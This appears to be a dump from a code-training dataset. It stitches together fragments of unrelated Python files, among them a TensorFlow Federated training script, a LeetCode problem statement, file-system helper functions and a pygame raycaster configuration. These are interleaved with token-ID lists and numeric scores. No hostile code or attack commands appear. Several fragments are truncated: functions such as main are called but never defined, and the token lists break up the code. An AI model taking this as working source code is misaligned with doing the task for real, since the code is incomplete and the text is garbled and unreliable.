fragment: t.Optional[str]
@property
@property
@property
@property
@property
@property
@property
@property
@property
@property
@property
@property
@property
@property
@property
| [
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220,
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220,
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220,
2488,
26745,
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220,
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220,
2488,
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220,
2488,
26745,
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220,
2488,
26745,
628,
220,
2488,
26745,
198
] | 2.464135 | 474 |
# Copyright 2019, The TensorFlow Federated Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Trains and evaluates Stackoverflow LR model using TFF."""
import functools
from absl import app
from absl import flags
from absl import logging
import tensorflow as tf
from tensorflow_federated.python.research.optimization.shared import fed_avg_schedule
from tensorflow_federated.python.research.optimization.shared import iterative_process_builder
from tensorflow_federated.python.research.optimization.stackoverflow_lr import dataset
from tensorflow_federated.python.research.optimization.stackoverflow_lr import models
from tensorflow_federated.python.research.utils import training_loop
from tensorflow_federated.python.research.utils import training_utils
from tensorflow_federated.python.research.utils import utils_impl
with utils_impl.record_hparam_flags():
# Experiment hyperparameters
flags.DEFINE_integer('vocab_tokens_size', 10000, 'Vocab tokens size used.')
flags.DEFINE_integer('vocab_tags_size', 500, 'Vocab tags size used.')
flags.DEFINE_integer('client_batch_size', 100,
'Batch size used on the client.')
flags.DEFINE_integer('clients_per_round', 10,
'How many clients to sample per round.')
flags.DEFINE_integer(
'client_epochs_per_round', 1,
'Number of client (inner optimizer) epochs per federated round.')
flags.DEFINE_integer(
'num_validation_examples', 10000, 'Number of examples '
'to use from test set for per-round validation.')
flags.DEFINE_integer('max_elements_per_user', 1000, 'Max number of training '
'sentences to use per user.')
flags.DEFINE_integer(
'client_datasets_random_seed', 1, 'The random seed '
'governing the client dataset selection.')
FLAGS = flags.FLAGS
def metrics_builder():
"""Returns a `list` of `tf.keras.metric.Metric` objects."""
return [
tf.keras.metrics.Precision(name='precision'),
tf.keras.metrics.Recall(top_k=5, name='recall_at_5'),
]
if __name__ == '__main__':
app.run(main)
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] | 2.977038 | 871 |
import argparse
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
import numpy as np
from rlo import experiment_result
from rlo import plotting
from rlo import utils
if __name__ == "__main__":
main()
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] | 2.987179 | 78 |
import os
from conans import ConanFile, CMake, RunEnvironment, tools
import shutil
| [
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] | 3.818182 | 22 |
'''
Given two integer arrays nums1 and nums2, return an array of their intersection. Each element in the result must appear as many times as it shows in both arrays and you may return the result in any order.
Example 1:
Input: nums1 = [1,2,2,1], nums2 = [2,2]
Output: [2,2]
Example 2:
Input: nums1 = [4,9,5], nums2 = [9,4,9,8,4]
Output: [4,9]
Explanation: [9,4] is also accepted.
Constraints:
1 <= nums1.length, nums2.length <= 1000
0 <= nums1[i], nums2[i] <= 1000
Follow up:
What if the given array is already sorted? How would you optimize your algorithm?
What if nums1's size is small compared to nums2's size? Which algorithm is better?
What if elements of nums2 are stored on disk, and the memory is limited such that you cannot load all elements into the memory at once?
'''
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] | 2.782313 | 294 |
# -*- coding: utf-8 -*-
from pysbd.abbreviation_replacer import AbbreviationReplacer
from pysbd.lang.common import Common, Standard
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] | 2.933333 | 45 |
# -*- coding: utf-8 -*-
from __future__ import with_statement, division
from scarlett_os.compat import os
from scarlett_os.compat import errno
from scarlett_os.compat import environ
from scarlett_os.compat import text_type
from scarlett_os.compat import _FSCODING
def format_size(size):
"""Turn an integer size value into something human-readable."""
# TODO: Better i18n of this (eg use O/KO/MO/GO in French)
if size >= 1024 ** 3:
return "%.1f GB" % (float(size) / (1024 ** 3))
elif size >= 1024 ** 2 * 100:
return "%.0f MB" % (float(size) / (1024 ** 2))
elif size >= 1024 ** 2 * 10:
return "%.1f MB" % (float(size) / (1024 ** 2))
elif size >= 1024 ** 2:
return "%.2f MB" % (float(size) / (1024 ** 2))
elif size >= 1024 * 10:
return "%d KB" % int(size / 1024)
elif size >= 1024:
return "%.2f KB" % (float(size) / 1024)
else:
return "%d B" % size
def mkdir(dir_, *args): # noqa
"""Make a directory, including all its parent directories. This does not
raise an exception if the directory already exists (and is a
directory)."""
try:
os.makedirs(dir_, *args)
except OSError as e:
if e.errno != errno.EEXIST or not os.path.isdir(dir_):
raise
def iscommand(s): # noqa
"""True if an executable file `s` exists in the user's path, or is a
fully qualified and existing executable file."""
if s == "" or os.path.sep in s:
return os.path.isfile(s) and os.access(s, os.X_OK)
else:
s = s.split()[0]
path = environ.get("PATH", "") or os.defpath
for p in path.split(os.path.pathsep):
p2 = os.path.join(p, s)
if os.path.isfile(p2) and os.access(p2, os.X_OK):
return True
else:
return False
def is_fsnative(path):
"""Check if file system native"""
return isinstance(path, bytes)
def fsnative(path=u""):
"""File system native"""
assert isinstance(path, text_type)
return path.encode(_FSCODING, "replace")
def listdir(path, hidden=False):
"""List files in a directory, sorted, fully-qualified.
If hidden is false, Unix-style hidden files are not returned.
"""
assert is_fsnative(path)
if hidden:
filt = None
else:
filt = lambda base: not base.startswith(".") # noqa
if path.endswith(os.sep):
join = "".join
else:
join = os.sep.join
return [
join([path, basename])
for basename in sorted(os.listdir(path))
if filt(basename)
]
def mtime(filename):
"""Return the mtime of a file, or 0 if an error occurs."""
try:
return os.path.getmtime(filename)
except OSError:
return 0
def filesize(filename):
"""Return the size of a file, or 0 if an error occurs."""
try:
return os.path.getsize(filename)
except OSError:
return 0
def expanduser(filename): # noqa
"""convience function to have expanduser return wide character paths
"""
return os.path.expanduser(filename)
def unexpand(filename, HOME=expanduser("~")):
"""Replace the user's home directory with ~/, if it appears at the
start of the path name."""
sub = (os.name == "nt" and "%USERPROFILE%") or "~"
if filename == HOME:
return sub
elif filename.startswith(HOME + os.path.sep):
filename = filename.replace(HOME, sub, 1)
return filename
def get_home_dir():
"""Returns the root directory of the user, /home/user"""
return expanduser("~")
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] | 2.411051 | 1,484 |
import math
import numpy
import pygame
CONFIG = {
"START_POS": (400, 400),
"PLAYER_COLOUR": (0, 0, 255),
"PLAYER_RADIUS": 10,
"FOV": (math.pi / 2),
"RESOLUTION": 0.25,
"ROTATE_SPEED": (math.pi / 360),
"MOVE_SPEED": 0.5,
"VIEW_DIST": 300
}
WIDTH = 800
KEYS = {
1073741904: False, # left
1073741903: False, # right
119: False, # w
97: False, # a
115: False, # s
100: False # d
}
KEY_OPP = {
1073741904: [1073741903],
1073741903: [1073741904],
119: [115],
97: [100],
115: [119],
100: [97]
}
if __name__ == "__main__":
main()
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201,
198,
201,
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10943,
16254,
796,
1391,
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220,
220,
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366,
2257,
7227,
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37997,
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7029,
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828,
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220,
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31519,
1137,
62,
25154,
11698,
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14280,
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2885,
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2937,
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366,
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14415,
1220,
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19535,
3535,
35354,
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1495,
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220,
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220,
366,
49,
2394,
6158,
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4303,
41841,
1298,
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14415,
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11470,
828,
201,
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220,
220,
220,
366,
11770,
6089,
62,
4303,
41841,
1298,
657,
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20,
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220,
220,
366,
28206,
62,
35,
8808,
1298,
5867,
201,
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92,
201,
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201,
198,
54,
2389,
4221,
796,
10460,
201,
198,
201,
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7336,
16309,
796,
1391,
201,
198,
220,
220,
220,
16226,
31020,
1129,
3023,
25,
10352,
11,
1303,
1364,
201,
198,
220,
220,
220,
16226,
31020,
1129,
3070,
25,
10352,
11,
1303,
826,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
15136,
25,
10352,
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1303,
266,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10111,
25,
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1303,
257,
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198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
12279,
25,
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264,
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198,
220,
220,
220,
220,
220,
220,
220,
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220,
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1802,
25,
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1303,
288,
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92,
201,
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201,
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20373,
62,
3185,
47,
796,
1391,
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16226,
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12279,
25,
685,
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201,
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220,
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220,
220,
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220,
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220,
220,
1802,
25,
685,
5607,
60,
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92,
201,
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201,
198,
201,
198,
201,
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201,
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361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
201,
198,
220,
220,
220,
1388,
3419,
201,
198
] | 1.713942 | 416 |
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